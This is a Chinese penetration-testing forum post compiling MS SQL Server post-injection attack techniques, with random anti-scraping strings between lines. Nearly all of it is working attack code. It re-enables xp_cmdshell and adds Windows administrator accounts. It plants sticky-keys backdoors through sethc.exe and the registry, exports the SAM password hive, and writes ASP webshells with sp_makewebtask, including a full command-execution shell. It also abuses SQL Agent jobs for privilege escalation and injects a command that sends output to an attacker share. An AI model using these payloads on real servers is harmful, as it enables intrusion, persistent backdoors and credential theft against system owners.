中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
# W% R2 S- s+ f/ J: `
恢复方法:查询分离器连接后,
) W U0 C x/ w: g' a0 i
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
) W8 |% b" z* ^/ H9 T9 n' i' m
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 c, y. P$ T, t% b+ f z
然后按F5键命令执行完毕
' J) Z: F/ W9 F3 M2 Q6 w
, Q6 j* [1 \7 L2 [: N3 m; g
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& V6 {3 A2 }, K6 K2 n! b% o
恢复方法:查询分离器连接后,
`% L6 y. j: F. L& z8 |
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 y/ ?% \0 x3 E1 P. e
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 U4 o9 h t: ?( ^3 W. K
然后按F5键命令执行完毕
[! B ^7 K. `% v5 g! I0 k0 D
7 w, h4 _( T+ ]: l7 y
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
+ n7 K: _: j: |8 X5 C$ s+ Q
恢复方法:查询分离器连接后,
8 j2 |% |: [: d; c3 z3 |! w
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
2 ~% C8 r* K9 O& ^5 ?" b
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
$ \9 H0 W6 t$ A0 F4 M& u; `
然后按F5键命令执行完毕
" R& \9 O [6 [9 U) {
; b9 F4 [0 j) R% Z' i# |) J0 N. v0 z
4 终极方法.
* A2 X* X7 W7 E# |+ P- o% T
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
# I. Y3 i4 x9 }
查询分离器连接后,
' R5 w% m/ T4 J9 [1 [1 o
2000servser系统:
' v* i+ s# f7 J
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
: r' g P( H' Z/ H
" Z) _ [# ]0 Q+ }- ?2 }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
. t- D! y. K) M& W$ j- Z: u9 c
, Y: ~. J: |' E: L
xp或2003server系统:
5 n$ H/ U, y2 d/ }
8 G# K. M8 c! L5 O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
" A2 p" A# _. X5 Z; x" |
& x ^8 a$ R, \
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
, \: @# W6 p7 O2 a! `8 G1 V
; e. J% W$ q! r1 U- |& Y; ^
4 Y- q J) J+ i
五个SHIFT
" j: R6 e6 \( @- t2 @
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
& [ p( g; `) z
; O- X" I# T) Z" o8 R
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
3 B! n( u0 T, K2 A9 Z9 R0 R
' r' X1 e% n$ b& i: _2 v& y
xp_cmdshell执行命令另一种方法
9 J8 P7 `) z- V7 b- Z/ M. t6 P- a: E+ m
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
0 f2 k- l( x- {0 D
% S7 W" N9 a! o4 M
判断存储扩展是否存在
0 K( I7 g. |9 \- Y1 Z# C
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& |# b6 t H* ?' s( G' `1 S
返回结果为1就OK
2 [" E, k1 Y& j0 P8 _% U" \3 q
# d. D1 ~! M+ e$ I6 W, \
# e' W. m4 a- w5 s: l
上传xplog70.dll恢复xp_cmdshell语句:
* R" b; I h* t/ r% f; b
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
0 T) {8 f0 @; l4 z
* }# P5 o# b( ]
否则上传xplog7.0.dll
2 |* _) d& r4 Y$ E- p" K# P
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
' w5 C ^; H, M. t1 o# S
0 H/ u7 N) _' G7 Z2 x
9 Q6 u( z. m4 |% ]# G
6 Y* C" _, o: ~0 A Y2 z
首先开启沙盘模式:
6 o( M+ U d# T5 L7 {' c9 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# G( `# B9 I& s3 L% _. F$ x3 W
1 ]! n' u" }* t: p8 s* A
然后利用jet.oledb执行系统命令
1 J3 v' u" i7 B' A9 ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 g2 M9 o; N) h0 F: b5 W
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
! k$ S- d! v' H, j! e- U
8 ^( Q/ G& U$ ~/ u8 _1 e0 G
' |" R+ I: Z- Q3 i& d
' V3 Q3 j0 i" W% W; c
恢复过程sp_addextendedproc 如下:
/ \# Z! W9 p5 ]3 k% |8 H
create procedure sp_addextendedproc --- 1996/08/30 20:13
9 g% j' B2 D! @3 C$ M8 G( U
@functname nvarchar(517),/* (owner.)name of function to call */
- G9 M% F0 P- h* ^. a, j
@dllname varchar(255)/* name of DLL containing function */
5 M1 ]7 E1 A: b: Z
as
5 J0 A f6 ~+ W P7 c
set implicit_transactions off
& s( k6 r& y' f6 e
if @@trancount > 0
8 N: P- ?1 K% T( A
begin
# R7 L( x7 ]; ^/ \" t
raiserror(15002,-1,-1,'sp_addextendedproc')
7 U! q1 k' X8 G+ y
return (1)
7 P3 V! H, [0 n: e( T
end
2 d* h7 G' O- X2 M9 R) a
dbcc addextendedproc( @functname, @dllname)
% l9 q9 P1 z) v* ^7 o
return (0) -- sp_addextendedproc
* X$ G2 Y8 b) @2 l$ ^6 D- H9 O
GO
! {* v3 i$ O8 H( y8 l% x
6 t6 |+ Y- C# P) i) K v' B% O) j
7 E( N/ s* C! E6 d: D3 W
: G' o; g/ c+ N
导出管理员密码文件
9 ~( ]7 y0 U! g5 D4 r
sa默认可以读sam键.应该。
% {$ ^9 v* n6 h9 A
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
8 n: V1 g" E4 ^- V/ V. v$ x
net user administrator test
! C$ p6 c! B3 c1 b
用administrator登陆.
+ H" u# i; {( e5 l! B7 f" [/ c
用完机器后
4 {6 `% N x4 u: I5 D( r! |
reg import c:\test.reg
8 u* b# X& R4 w. p* z6 j) S
根本不用克隆.
E/ p( u/ v; c C4 p1 M. E5 @
找到对应的sid.
7 }5 b; u$ J9 i- ~, S! K. S
9 V* ~, U) e" f! C- `3 Z# M
& a% I" u: _: _9 G+ ~
2 K- X% p3 C. v
恢复所有存储过程
6 |$ f/ o( n& y' }% D
use master
) u! O( R. _" d3 n$ p5 B( k0 Z' I
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
* } J0 B& H( k6 g' M+ R
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
8 t* G3 _7 Q: m. g$ E6 t% n
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
9 t2 Y3 b$ S3 g' T: r
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
1 B+ B, c, |! o$ ]
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 R1 B/ P' @ a) x9 q
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
`/ P: d5 W1 @' }
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
2 b: \9 N) R# V: Q0 a
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
% y7 a4 \" p* J
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
1 \4 Z/ P: D. z. u! q
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
. m. r. z. l7 O% p. |
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
1 N" t$ D; ^2 N% F. \
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
& I6 a4 Z. Q- o0 `: s3 i7 r
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
9 o5 s% x* J: \% V! ~
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
; W& k) U" Z# G/ q5 N, \0 S# F: u
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
! g7 B1 `3 B& K9 n
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
4 `. C0 b* x9 Z2 Q9 D5 I3 A( I
exec sp_addextendedproc xp_regread,'xpstar.dll'
) o7 T+ D9 @( q1 ?
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
5 U& L' S: ^/ g' h6 ], T) d
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
" ?5 R- G# A. G/ w; y
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
3 m8 c* J1 Z& Q% N. `( g h7 R& q
& ]: w( l4 y6 } _; E; f( Y. q
- ^- [. `- M( n
建立读文件的存储过程
# r! j1 R4 T! U( j6 i
Create proc sp_readTextFile @filename sysname
) }( c5 a! `6 I% F' u9 t) z
as
. |+ G$ a7 W* Y0 e) N
. F+ B$ }' R' a
begin
" z9 Z% ?6 f$ V7 h0 R! Y. M
set nocount on
4 i: y" u( g4 n
Create table #tempfile (line varchar(8000))
* Y% G6 O, \# j
exec ('bulk insert #tempfile from "' + @filename + '"')
% y: Y, y v7 o' }) A7 k2 s9 O# i3 A
select * from #tempfile
& D+ ^% k# R# T
drop table #tempfile
' B" r/ c# B# X- \9 L1 V. @, Y
End
7 B, f" E# s7 h5 F+ c5 i
, v2 a: G; }, K0 V- f0 }
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
4 F7 Y' |6 s' O2 Q' c) P) d. U
查看登录用户
2 Q+ m2 t+ y4 i, x0 f
Select * from sysxlogins
" @; X6 |* @0 Z/ E
5 k# R( C% A$ X& _, X( U" `
把文件内容读取到表中
- T2 l: e" E; i0 K# z7 z& I
BULK INSERT tmp from "c:\test.txt"
0 }+ ~, V" _) Y' a: r
dElete from 表名 清理表里的内容
- r: I: o/ r+ p. C! A) H+ i& Z
create table b_test(fn nvarchar(4000));建一个表,字段为fn
" }% H; A& y, D" j9 ]/ k
' u% V" ^; P8 F( V' w, b" V# g
- b& {( j$ l, k7 E. B: E8 u. r
加sa用户
2 }* Z! Z; ^- ]6 M
exec master.dbo.sp_addlogin user,pass;
; T4 N: b" J, j* ]
exec master.dbo.sp_addsrvrolemember user,sysadmin
* |+ b, C& P+ B9 ]
+ [' J7 h% G, p6 Q3 b0 T: t
, {9 u8 W- m- \. q3 S% Q# F
?/ S# N( e X% [+ h/ G$ [
读文件代码
8 @- A9 h# P5 i; u6 _
declare @o int, @f int, @t int, @ret int
' X, H3 ]/ c+ |4 l; N
declare @line varchar(8000)
3 S# j5 p4 u# P
exec sp_oacreate 'scripting.filesystemobject', @o out
$ f* y0 @% Z9 F4 G6 m- J+ f
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
( }( M( S/ E; n& b
exec @ret = sp_oamethod @f, 'readline', @line out
7 D" f7 k, m3 e; C6 P( D. ~
while( @ret = 0 )
8 Y3 k9 C9 D' O' N% r9 }
begin
( S4 K. y6 G2 ?, \& O
print @line
* g/ t- Z2 B) @6 p8 W' q& S, C
exec @ret = sp_oamethod @f, 'readline', @line out
, N* W" ~- F o! S7 \
end
5 ~4 M3 [6 ~; F1 ^ M8 j
: F: k# L' j! {/ p
2 j* W0 t& H: d, b8 g' O
写文件代码:
- [4 F- }7 A3 [
declare @o int, @f int, @t int, @ret int
4 x+ [- m! x/ @% L# x
exec sp_oacreate 'scripting.filesystemobject', @o out
' h. D( T9 X3 h$ d: L6 B
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
- o8 {2 l( d8 z9 w" Y H! h4 c
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
5 E* `: t$ v' T4 P
. K l: a/ P" `6 G, `# e0 K) y
! l7 L3 P3 i0 \4 \% ] F3 l7 l
添加lake2 shell
1 z# f" d& v& \2 H
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
* w- M0 y& l$ j; o
sp_dropextendedproc xp_lake2
+ w, P: a$ A# X/ D
EXEC xp_lake2 'net user'
+ J+ W, n! w) t* I, O. k, w
: ^- N1 h4 H- G- [- B9 L) m
% E0 W# C `$ m4 e$ c" Q
得到硬盘文件信息
! u# A/ [& f% C1 _8 J9 q
--参数说明:目录名,目录深度,是否显示文件
7 d- u' g8 x' Y8 w
execute master..xp_dirtree 'c:'
) [% e* P% A6 h) D
execute master..xp_dirtree 'c:',1
0 d$ B% m4 s$ B5 d1 g: K6 e. C f
execute master..xp_dirtree 'c:',1,1
& g$ B( j1 b' g' e$ c& z
- _2 ?+ H0 D/ n0 B7 r
: s/ ]7 S0 U. O# O
读serv-u配置信息
6 X2 x$ Y* i: o
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
6 N* {6 o' T; E2 t& v: _
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
* ?" g9 h" d5 \5 ?: h, w, l4 |1 Z' k
' j+ i! Y" {1 k9 U& A" Z' p5 |; w0 c
通过xp_regwrite写SHIFT后门
/ |6 t/ q% c) y! h2 F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
6 }% I r. x3 G$ m K) Z- D$ I
: i' f/ d3 n2 R( p+ |1 P' x
! y0 A/ a0 v; w" _+ @4 S
1 v1 u# g: M0 Q, _, P3 K: O
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
; a& E, J9 D, ^( y2 ?. n& I. N5 O
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
: {; x% [7 p6 g% F" S: x
0 C& y6 L9 ?& } ?! G" `7 J. M q
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! e8 e; \9 Z$ a
! s" ^" d. L A- r& R+ d7 |7 R
5 ?; Q9 r7 \8 q- I% T" R6 \
( o3 n% z* a7 g) E4 c
sql server 2005下开启xp_cmdshell的办法
3 l$ @ W% B% [1 o( L2 T
* X C' G0 N9 u3 C; S! P8 L
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
8 g) Y I1 N8 D$ { Y+ }; E x
; q2 T$ P4 B$ _1 R; M
SQL2005开启'OPENROWSET'支持的方法:
- k: x F! p9 k2 K, |) X
4 E- D1 ?5 R1 D* j8 D
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
6 t5 J+ N l* t i
# g' n# f% u& f& T
SQL2005开启'sp_oacreate'支持的方法:
; g5 i) T* d% H- p4 Y- @
! O. N$ B# x, y- ?
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
1 z/ |4 R# r- E V j6 E
+ n9 V( b; M: x' Z( \
( I, N, w4 x' h
0 t: p1 P* b( y+ j( Q
) ?' v7 Q% z9 h% H/ j+ F
. k' n) p* _, q- Z' u, a7 }7 u' V
3 C( L& Z7 ~ A$ y1 e+ F0 I& H' H- e
: W" Q7 T- v B1 `/ h
; D, \2 O# Z5 I
3 B5 i0 C9 ^+ ~$ n. n3 ^, P9 A+ f& q
) W: `/ V5 l( c1 G
9 O" S& z7 k2 c5 A+ M
1 v& y+ F) ?1 f) k" n6 [ H
% l) j# T0 w7 ~
0 j% r& r6 `3 N* D+ F
* p3 p. ?6 P5 G4 u, `
! Z% {; K n; O# E
8 m3 A4 X+ X; e, l! O
: x: s% v' `( J- ^) I) O, N9 h2 l
# T& ~: B4 S8 H8 m/ X) J
7 J) a% |8 m) x& S+ f
. ^* ]. t( F' s; d7 ^
6 X3 n/ }% K6 K9 A- Z
/ Z8 N D8 Z8 d' M! H2 g/ {) ?/ H6 ]4 q
3 j/ W D0 e$ f) y7 i
以下方面不知道能不能成功暂且留下研究哈:
4 J6 Y% v: l% d9 R u
4)
5 j: I; e B- Y; U5 u
use msdb; --这儿不要是master哟
- R/ N$ L. ^4 @5 l* A
exec sp_add_job @job_name= czy82 ;
7 }9 }9 _4 p0 I- n/ q
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
x% r/ X9 o, u) i! D H5 G. u% O1 U
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
, k1 e- ] S" s
exec sp_start_job @job_name= czy82 ;
$ b) S7 K. Z& d+ a$ |+ b/ d& ^
) K4 F+ d7 ^2 P) A- X
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
! `+ d& Y m; I) P q$ ~
执行tsql语句了.
6 Y9 d2 `! M% e/ Y
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
9 X% [+ b9 F, Z; M
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
! J9 f V2 y0 @! a$ O+ I3 z
net start SQLSERVERAGENT
1 v/ V8 f6 z- K0 j5 B7 w
2 @1 ]7 b& m6 y9 p1 m/ ^
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
# s. Q; ^; C n: ~3 c; d: h1 V/ ~# t
USE msdb
5 Y1 d; k% E5 v u
EXEC sp_add_job @job_name = GetSystemOnSQL ,
/ `0 j0 l1 o% T- Q0 b: ]5 @. X
@enabled = 1,
+ X9 U$ _7 L" K9 ~* P/ [3 |
@description = This will give a low privileged user access to
8 d' n/ j( y5 G
xp_cmdshell ,
$ x1 R, T* R- Z$ k) G# k
@delete_level = 1
q }# F ~9 j" K0 d9 _+ g$ y
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
- `4 [: N9 z) |6 f8 |' {
@step_name = Exec my sql ,
2 ]: E+ c, ?' E- _
@subsystem = TSQL ,
$ C; D/ M9 g& W7 ]4 f9 b
@command = exec master..xp_execresultset N select exec
; O4 b D* H, s5 D
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
# V2 e+ @1 _; U% u& o
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
2 b: [* n) \! Z
@server_name = 你的SQL的服务器名
" l" S7 e5 N$ Q" g
EXEC sp_start_job @job_name = GetSystemOnSQL
; `* t0 l/ r3 `5 ~5 X
3 R! [# M! @. c
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
& N9 y9 t7 L0 E& _
才让我们可以以public执行xp_cmdshell
1 {+ W9 X% H1 S$ u
0 `0 [- r0 h9 P. b% u& M
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
- o, L6 e$ `% E. [2 F
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
0 _. w/ ]& j# C! j8 Q
% M3 A) J) }; j& ]4 S* [ f* h
USE msdb
* n1 @ r- P( Y9 L9 N6 Q# M
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
7 p- n6 }1 Z# Z) K
@enabled = 1,
# E, v: G" K9 y+ {
@description = This will create a file called c:\sqlafc123.txt ,
+ I$ N0 E' y& G6 e
@delete_level = 1
9 \. y- a% p2 B2 V7 B* R
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
+ |% g$ @& d l8 w3 \- _) v" T: {
@step_name = SQLAFC ,
1 }" r. p6 U( B2 D2 H r9 L. h
@subsystem = TSQL ,
6 z( q$ t b) l
@command = select hello, this file was created by the SQL Agent. ,
! U4 y8 h: h" t9 x% ]+ O1 v1 q/ \
@output_file_name = c:\sqlafc123.txt
' y0 j" Q5 k" T' K% S3 \4 f
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
3 Q5 F; ?, ]: K' @
@server_name = SERVER_NAME
: O( T' b9 j B+ b \
EXEC sp_start_job @job_name = ArbitraryFilecreate
% a: h/ d; n/ P4 \
2 W/ u( N- c5 [! P# _0 a
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
. n5 C S8 C# ?" }
( ]; b6 `3 G3 Z4 \+ S. M
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
3 `0 f. l# [" ^4 V
----------------------------------------------
$ ~6 `* C( R N- |) _
hello, this file was created by the SQL Agent.
& E- @; O4 R. X) i; G4 y
; h% u$ T& g+ h& q
(1 ?????)
! ^7 P, I$ ~% }' \; T. N( e
4 o& I& m* V( x% ?7 f! S+ h
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
g0 s! I ]; _
命令的vbs文件到启动目录!
6 f* @" N" L* _: }
4 _; ^: S# \* N8 }4 w" M0 b
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 G* E4 G0 v A" R& Z
关于sp_MScopyscriptfile 看下面的例子
2 F% w5 `' d) ^5 |
declare @command varchar(100)
1 w7 N/ G9 D. Q0 b0 E
declare @scripfile varchar(200)
5 U1 D6 r6 B% I* e
set concat_null_yields_null off
) E' s: Y3 F: M y
select @command= dir c:\ > "\\attackerip\share\dir.txt"
) ]3 g' o$ _. b ^6 s
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
8 [6 v/ ]2 i {( ?' Y+ d; A
exec sp_MScopyscriptfile @scripfile ,
7 w4 n) h" q+ t5 B( r
! x- r8 E6 F( ]0 @; J5 S* p/ d
这两个东东都还在测试试哟
( P9 C6 e( S6 K1 G n
让MSSQL的public用户得到一个本机的web shell
: @' P+ x! \" w, W5 _8 S4 \8 g
$ o3 B7 M) l* e3 m$ _
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
5 D4 n7 l+ ~' M
--@query= select <img src=vbscript:msgbox(now())>
& D* C; |" o4 Y8 a j% ?" K' x
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
* m2 V3 ^; ^4 ` m8 Y# ?7 _0 L2 X
@query= select
3 i1 {" g3 e: S6 z6 q! I; Z
<%On Error Resume Next
* @% @! J3 I1 h' b$ k
Set oscript = Server.createObject("wscript.SHELL")
" k- C) H% U/ Y7 \
Set oscriptNet = Server.createObject("wscript.NETWORK")
: Z+ x, { H( X1 d1 J6 N4 ~
Set oFileSys = Server.createObject("scripting.FileSystemObject")
" _( [8 z i7 [' t/ Q) q% ?" X
szCMD = Request.Form(".CMD")
$ e9 g; T! i, a% N( i4 Q
If (szCMD <>"")Then
# t7 E" m/ E: {6 z! {! Y; a8 |; p
szTempFile = "C:\" & oFileSys.GetTempName()
3 l3 l- t/ u" `" h3 T) N
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
$ j0 ~; {& ]/ W4 l, O& s: W2 O
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
: }8 o) }& i/ O6 N, o4 ^# x8 L
End If %>
8 \/ T/ e" I, s2 P' L
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
, s% p5 k) {5 p* j
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
. i* M/ X R4 \3 \6 l
</FORM><
RE>
8 n, z u; Z4 a
<% If (IsObject(oFile))Then
8 |2 a3 \/ x, i4 w7 n: R/ M2 k l8 {
On Error Resume Next
* Z) D8 Y6 i0 w) D, X
Response.Write Server.HTMLEncode(oFile.ReadAll)
3 I5 j6 X S3 Y, W
oFile.Close
5 f$ m3 T, A% j4 c# z% q
Call oFileSys.deleteFile(szTempFile, True)
) H2 n, [% X2 w
End If%>
3 F* g" X1 d: `
</BODY></HTML>
# `7 O3 x& `" v; D
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2